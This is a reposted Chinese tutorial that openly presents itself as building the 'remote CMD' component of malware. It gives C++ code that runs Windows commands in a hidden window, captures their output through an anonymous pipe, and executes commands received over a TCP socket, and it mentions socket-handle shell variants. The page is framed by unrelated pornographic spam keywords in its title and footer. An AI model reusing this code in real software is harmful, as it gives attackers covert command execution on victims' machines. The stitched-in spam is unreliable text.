在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫(xiě)文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

使用匿名管道技術(shù)獲取CMD命令的執(zhí)行結(jié)果

蛇矛實(shí)驗(yàn)室 ? 來(lái)源:蛇矛實(shí)驗(yàn)室 ? 2023-04-03 18:04 ? 次閱讀

序言

遠(yuǎn)程 CMD 是指惡意程序接收到控制端發(fā)送的 CMD 指令后,在本地執(zhí)行 CMD 命令,并將執(zhí)行結(jié)果回傳至控制端。本文將演示使用匿名管道技術(shù)獲取 CMD 命令的執(zhí)行結(jié)果。

相關(guān)API

CreatePipe:用于創(chuàng)建管道

PeekNamedPipe:用于判斷管道中是否有數(shù)據(jù)存在

ReadFile、WriteFile:用于向管道讀取或?qū)懭霐?shù)據(jù)

CreateProcess:用于創(chuàng)建CMD子進(jìn)程,可指定啟動(dòng)信息(STARTUPINFO)

實(shí)現(xiàn)原理

管道是一種進(jìn)程間通信的技術(shù),Window 上進(jìn)程間通信技術(shù)還有文件映射、共享內(nèi)存、郵槽、剪切板、事件等。

管道分為命名管道和匿名管道:

* 匿名管道只能在父子進(jìn)程間通信,數(shù)據(jù)傳輸單向,不能網(wǎng)絡(luò)通信;

* 命名管道可在任意進(jìn)程間通信,數(shù)據(jù)傳輸雙向,但同一時(shí)間只能有一端讀寫(xiě)。

由于遠(yuǎn)程 CMD 中僅僅需要執(zhí)行 CMD 指令的結(jié)果,所以使用匿名管道即可,其使用流程如下:

1. 使用 CreatePipe 創(chuàng)建匿名管道,獲取管道數(shù)據(jù)讀取句柄和管道數(shù)據(jù)寫(xiě)入句柄。

2. 初始化進(jìn)程結(jié)構(gòu)體,將管道寫(xiě)入句柄賦給新進(jìn)程控制臺(tái)窗口的緩存句柄;

3. 使用CreateProcess創(chuàng)建新進(jìn)程執(zhí)行CMD命令,并等待命令執(zhí)行結(jié)束;

4. 在循環(huán)中使用 PeekNamedPipe 函數(shù)判斷管道中是否有數(shù)據(jù),通過(guò)管道讀取句柄從緩沖區(qū)中獲取執(zhí)行結(jié)果。

5. 關(guān)閉句柄,釋放資源。

編碼實(shí)現(xiàn)

關(guān)鍵代碼

// 執(zhí)行 cmd 命令, 并獲取執(zhí)行結(jié)果數(shù)據(jù)
bool PipeCmd(TCHAR* cmd_str, std::string& outbuf)
{
BOOL bRet = FALSE;

HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityAttributes = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};

// 設(shè)定管道的安全屬性
securityAttributes.bInheritHandle = TRUE;
securityAttributes.nLength = sizeof(securityAttributes);
securityAttributes.lpSecurityDescriptor = NULL;
// 創(chuàng)建匿名管道
bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
if(FALSE== bRet)
{
printf("CreatePipe");
returnfalse;
}
// 設(shè)置新進(jìn)程參數(shù)
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
// 創(chuàng)建新進(jìn)程執(zhí)行命令, 將執(zhí)行結(jié)果寫(xiě)入匿名管道中
bRet = ::CreateProcess(NULL, cmd_str, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
if(FALSE== bRet)
{
printf("CreateProcess");
returnfalse;
}

// 等待命令執(zhí)行結(jié)束
::WaitForSingleObject(pi.hThread, INFINITE);
::WaitForSingleObject(pi.hProcess, INFINITE);

// 不斷從匿名管道中讀取結(jié)果到輸出緩沖區(qū)
while(true)
{
char buf[2048]{};
DWORD readbytes = 0;
DWORD availbytes = 0;

if(!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break;
if(!availbytes) break;
if(!ReadFile(hReadPipe, buf, min(sizeof(buf) - 1, availbytes), &readbytes, NULL) || !readbytes) break;

buf[readbytes] = 0;
outbuf += buf;
}

// 關(guān)閉句柄, 釋放內(nèi)存
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);

returntrue;
}

上面的代碼中首先調(diào)用 CreatePipe 函數(shù)創(chuàng)建匿名管道,并將返回的讀寫(xiě)句柄保存到 hReadPipe 和 hWritePipe 變量中。

然后,通過(guò)設(shè)置STARTUPINFO結(jié)構(gòu)體中的參數(shù),將新進(jìn)程的標(biāo)準(zhǔn)錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出都重定向到管道中,以便將命令執(zhí)行結(jié)果寫(xiě)入管道中。

接著,調(diào)用CreateProcess函數(shù)創(chuàng)建新進(jìn)程,并將命令行命令作為參數(shù)傳入。

CreateProcess 函數(shù)執(zhí)行成功后,新進(jìn)程開(kāi)始執(zhí)行命令,并將命令執(zhí)行結(jié)果寫(xiě)入管道中,之后通過(guò)循環(huán)調(diào)用 PeekNamedPipe 和 ReadFile 函數(shù),不斷從管道中讀取數(shù)據(jù),并將讀取到的數(shù)據(jù)存儲(chǔ)到輸出緩沖區(qū)中。

最后,代碼關(guān)閉句柄,釋放內(nèi)存。

測(cè)試實(shí)現(xiàn)

測(cè)試代碼

intmain(intargc, char** argv)
{
TCHAR cmd_str[] = L"ping 127.0.0.1";

// 執(zhí)行 cmd 命令, 并獲取執(zhí)行結(jié)果數(shù)據(jù)
std::stringoutbuf;
if(false== PipeCmd(cmd_str, outbuf))
{
printf("pipe cmd error.
");
}
else
{
printf("CMD執(zhí)行結(jié)果為:
%s
", outbuf.c_str());
}

system("pause");
return0;
}

b4ead242-d004-11ed-bfe3-dac502259ad0.png

遠(yuǎn)程傳輸

前面僅僅是把 cmd 命令的執(zhí)行結(jié)果獲取了,要想實(shí)現(xiàn)遠(yuǎn)程傳輸,需要加入網(wǎng)絡(luò)傳輸部分。

b4fd46e8-d004-11ed-bfe3-dac502259ad0.png

測(cè)試

服務(wù)端

#definePORT 9982
inttest_server()
{
SOCKET listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr_in bindaddr;
bindaddr.sin_family = AF_INET;
bindaddr.sin_addr.S_un.S_addr = ADDR_ANY;
bindaddr.sin_port = htons(PORT);
bind(listenfd, (SOCKADDR*)&bindaddr, sizeof(SOCKADDR));

listen(listenfd, 1);

sockaddr_in clientaddr;
intclientaddrlen = sizeof(SOCKADDR);
SOCKET clientfd = accept(listenfd, (SOCKADDR*)&clientaddr, &clientaddrlen);

charbuf[1024]{};
intrecvbytes = recv(clientfd, buf, 1024, 0);
if(recvbytes <= 0) return?-1;

???std::string?outbuf;
???PipeCmd((LPTSTR)buf, outbuf);
???std::cout?<< outbuf << std::endl;

???closesocket(clientfd);
???closesocket(listenfd);

???return?0;
}

客戶端

inttest_client()
{
SOCKET connfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

structsockaddr_inServerAddr;
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
ServerAddr.sin_port = htons(PORT);

connect(connfd, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));

TCHAR cmdbuf[100] = _T("ipconfig");
send(connfd, (char*)cmdbuf, (lstrlen(cmdbuf) + 1) * sizeof(TCHAR), 0);

closesocket(connfd);

return0;

效果

開(kāi)啟服務(wù)器后,通過(guò)客戶端向服務(wù)端發(fā)送指令,服務(wù)端接收到指令后開(kāi)始處理,最終測(cè)試能夠正確處理。

小結(jié)

上述的遠(yuǎn)程 CMD 的實(shí)現(xiàn)通過(guò)一個(gè)匿名管道實(shí)現(xiàn)的,它是通過(guò)直接執(zhí)行 cmd 命令,從而不需要?jiǎng)?chuàng)建傳遞命令的管道。遠(yuǎn)程 CMD 的實(shí)現(xiàn)方法還有幾種變形方式,比如雙管道遠(yuǎn)程 CMD,和零管道遠(yuǎn)程 CMD,它們對(duì)應(yīng)的思路就是對(duì) CMD 的輸出輸入重定向位置進(jìn)行控制,比如:

雙管道實(shí)現(xiàn)遠(yuǎn)程 CMD 就是將 CMD 進(jìn)程的輸入、輸出句柄替換為讀寫(xiě)管道的句柄。

零管道實(shí)現(xiàn)遠(yuǎn)程 CMD 就是將 CMD 進(jìn)程的輸入、輸出句柄替換為 socket 的句柄。






審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫(xiě)或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • WINDOWS
    +關(guān)注

    關(guān)注

    4

    文章

    3593

    瀏覽量

    90593
  • CMD命令
    +關(guān)注

    關(guān)注

    0

    文章

    28

    瀏覽量

    8467

原文標(biāo)題:安全研發(fā)之遠(yuǎn)程CMD

文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    DLP4500-C350REF在發(fā)送獲取光機(jī)的RGB顏色命令,返回的是不正確的數(shù)值,為什么?

    大家好,我有幾個(gè)問(wèn)題想問(wèn)一下,謝謝大家賜教 1:為什么在發(fā)送獲取光機(jī)的RGB 顏色命令,返回的是不正確的數(shù)值,再次發(fā)送該命令才能得到正確的值(就是連續(xù)發(fā)送2次獲取RGB的
    發(fā)表于 02-21 07:05

    CMD262_Data_Sheet-1815818

    和穩(wěn)定性。CMD262的設(shè)計(jì)旨在滿足現(xiàn)代電子產(chǎn)品對(duì)高效能和低功耗的需求,廣泛應(yīng)用于智能手機(jī)、平板電腦、可穿戴設(shè)備等領(lǐng)域。產(chǎn)品技術(shù)資料CMD262的主要技術(shù)規(guī)格包括:輸
    發(fā)表于 10-22 17:31 ?0次下載

    CMD244K5_Data_Sheet-1950601

    、音頻處理和視頻編碼等領(lǐng)域。CMD244K5的小型化封裝和低功耗特性使其非常適合嵌入式系統(tǒng)和便攜設(shè)備。產(chǎn)品技術(shù)資料主要技術(shù)參數(shù)工作頻率:高達(dá)1GHz處理能力:支持多通道信號(hào)處理內(nèi)存接口:兼容多種內(nèi)存類型功耗
    發(fā)表于 10-22 09:31 ?0次下載

    CMD242K4_Data_Sheet-1950730

    CMD242K4產(chǎn)品概述與應(yīng)用產(chǎn)品概述CMD242K4是一款高性能的功率放大器,專為寬帶無(wú)線通信和射頻應(yīng)用設(shè)計(jì)。該器件采用先進(jìn)的GaAs(砷化鎵)技術(shù),能夠在廣泛的頻率范圍內(nèi)提供卓越的增益和線性度
    發(fā)表于 10-22 09:28 ?0次下載

    聲波定位技術(shù)在地下管道中如何應(yīng)用

    隨著城市化進(jìn)程的加速,地下管道作為城市基礎(chǔ)設(shè)施的重要組成部分,其安全、高效的維護(hù)與管理顯得尤為重要。聲波定位技術(shù)作為一種非破壞性探測(cè)手段,在地下管道中的應(yīng)用日益廣泛,成為提升管道維護(hù)和
    的頭像 發(fā)表于 09-27 13:54 ?290次閱讀

    瀚海微SD NAND存儲(chǔ)功能描述(11)命令系統(tǒng)CMD8

    25 MB/sec的接口速度,時(shí)鐘速率增加到50 MHz, CLK/CMD/DAT信號(hào)時(shí)序和電路條件被重新考慮并從物理層規(guī)范1.01版本更改。 上電后,SD卡處于默認(rèn)的速度模式,使用開(kāi)關(guān)功能命令
    的頭像 發(fā)表于 08-12 16:03 ?559次閱讀
    瀚海微SD NAND存儲(chǔ)功能描述(11)<b class='flag-5'>命令</b>系統(tǒng)<b class='flag-5'>CMD</b>8

    瀚海微SD NAND存儲(chǔ)功能描述(10)CMD6和其他命令關(guān)系

    CMD6 DATA與其他命令的關(guān)系 在CMD6事務(wù)期間,卡可以僅使用CMD(CMD12, CMD
    的頭像 發(fā)表于 08-11 16:32 ?580次閱讀
    瀚海微SD NAND存儲(chǔ)功能描述(10)<b class='flag-5'>CMD</b>6和其他<b class='flag-5'>命令</b>關(guān)系

    瀚海微SD NAND存儲(chǔ)功能描述(8)專用命令CMD55 56

    應(yīng)用專用命令app_cmd (CMD55) 當(dāng)卡接收到這個(gè)命令時(shí),會(huì)使卡將下面的命令解釋為一個(gè)特定于應(yīng)用程序的
    的頭像 發(fā)表于 08-08 10:39 ?1384次閱讀
    瀚海微SD NAND存儲(chǔ)功能描述(8)專用<b class='flag-5'>命令</b><b class='flag-5'>CMD</b>55  56

    瀚海微SD NAND應(yīng)用存儲(chǔ)功能描述(4)電壓切換命令

    電壓開(kāi)關(guān)命令CMD11電壓開(kāi)關(guān)命令定義如下圖所示。 CMD11可以在就緒狀態(tài)下執(zhí)行,不改變狀態(tài)。即使卡被鎖定,也可以
    的頭像 發(fā)表于 08-02 10:03 ?624次閱讀
    瀚海微SD NAND應(yīng)用存儲(chǔ)功能描述(4)電壓切換<b class='flag-5'>命令</b>

    是否可以使用AT命令獲取ADC值?

    是否可以使用AT命令獲取ADC值? 如果是,要使用哪個(gè)命令
    發(fā)表于 07-16 07:06

    如何獲取連接的TCP客戶端的ESPCONN指針?

    我?guī)缀蹰喿x了 SDK API 指南版本 1.0.1 的所有文檔 并開(kāi)始了解如何添加用戶 AT 命令。 這真的很簡(jiǎn)單,只需撥打at_cmd_array_register。 BUT! 如何獲取連接的 TCP 客戶端的 ESPCONN
    發(fā)表于 07-12 14:54

    管道風(fēng)速傳感器的安裝在管道的前端還是后端

    管道風(fēng)速傳感器是一種用于測(cè)量管道內(nèi)氣流速度的儀器,廣泛應(yīng)用于工業(yè)、農(nóng)業(yè)、環(huán)保、氣象等領(lǐng)域。在安裝管道風(fēng)速傳感器時(shí),需要考慮多種因素,以確保測(cè)量結(jié)果的準(zhǔn)確性和可靠性。本文將詳細(xì)介紹
    的頭像 發(fā)表于 07-01 09:14 ?1256次閱讀

    關(guān)于SDIO命令寄存器(SDIO_CMD)的疑問(wèn)求解?

    請(qǐng)教下SDIO命令寄存器(SDIO_CMD)第12位ENCMDcompl:使能CMD完成(Enable CMD completion)如果設(shè)置該位,則使能
    發(fā)表于 05-16 06:57

    在卡初始化的過(guò)程中,CMD8之后發(fā)送一個(gè)cmd55命令做什么?

    在卡初始化的過(guò)程中,CMD8之后發(fā)送一個(gè)cmd55命令做什么?在ACMD41前發(fā)送的那個(gè)我明白,但是在CMD55在CMD8后用作檢測(cè)的說(shuō)明也
    發(fā)表于 05-14 08:23

    HarmonyOS開(kāi)發(fā):【基于命令行(獲取源碼)】

    在Ubuntu環(huán)境下通過(guò)以下步驟獲取OpenHarmony源碼。
    的頭像 發(fā)表于 04-25 22:08 ?570次閱讀
    HarmonyOS開(kāi)發(fā):【基于<b class='flag-5'>命令</b>行(<b class='flag-5'>獲取</b>源碼)】
    主站蜘蛛池模板: 天天精品视频 | 国产国产人免费人成成免视频 | 五月天丁香色 | 国产精品久久久久aaaa | 男男宿舍高h炒肉bl 男男污肉高h坐便器调教 | 一区二区三区四区视频 | 好硬好湿好爽再深一点h视频 | 国产成人免费无庶挡视频 | 成人中文在线 | 野外啪啪抽搐一进一出 | 高清成人 | 69xxxxtube日本免费| 欧美三级手机在线 | 天天射天天操天天色 | 国产亚洲精品线观看77 | 成人最新午夜免费视频 | 毛片美女| 免费色片网站 | 亚洲成人av| 求网址你懂的手机在线观看网站 | 国产免费一区二区三区香蕉精 | 久久综合五月开心婷婷深深爱 | 狠狠色丁香六月色 | 欧美色图 亚洲 | 影视精品网站入口 | 波多野结衣50连精喷在线 | 亚洲影视网| 亚洲视频在线免费看 | 免费观看三级毛片 | 男女激情做爰叫床声视频偷拍 | 久久久久久夜精品精品免费 | 国产成人无精品久久久久国语 | 欧美一区二区三区影院 | www.婷婷.com | 四虎在线最新永久免费 | 婷婷免费高清视频在线观看 | 色之综综 | 一区二区三区欧美在线 | 久久精品国产亚洲婷婷 | 日本免费xxxx色视频 | 五月四房婷婷 |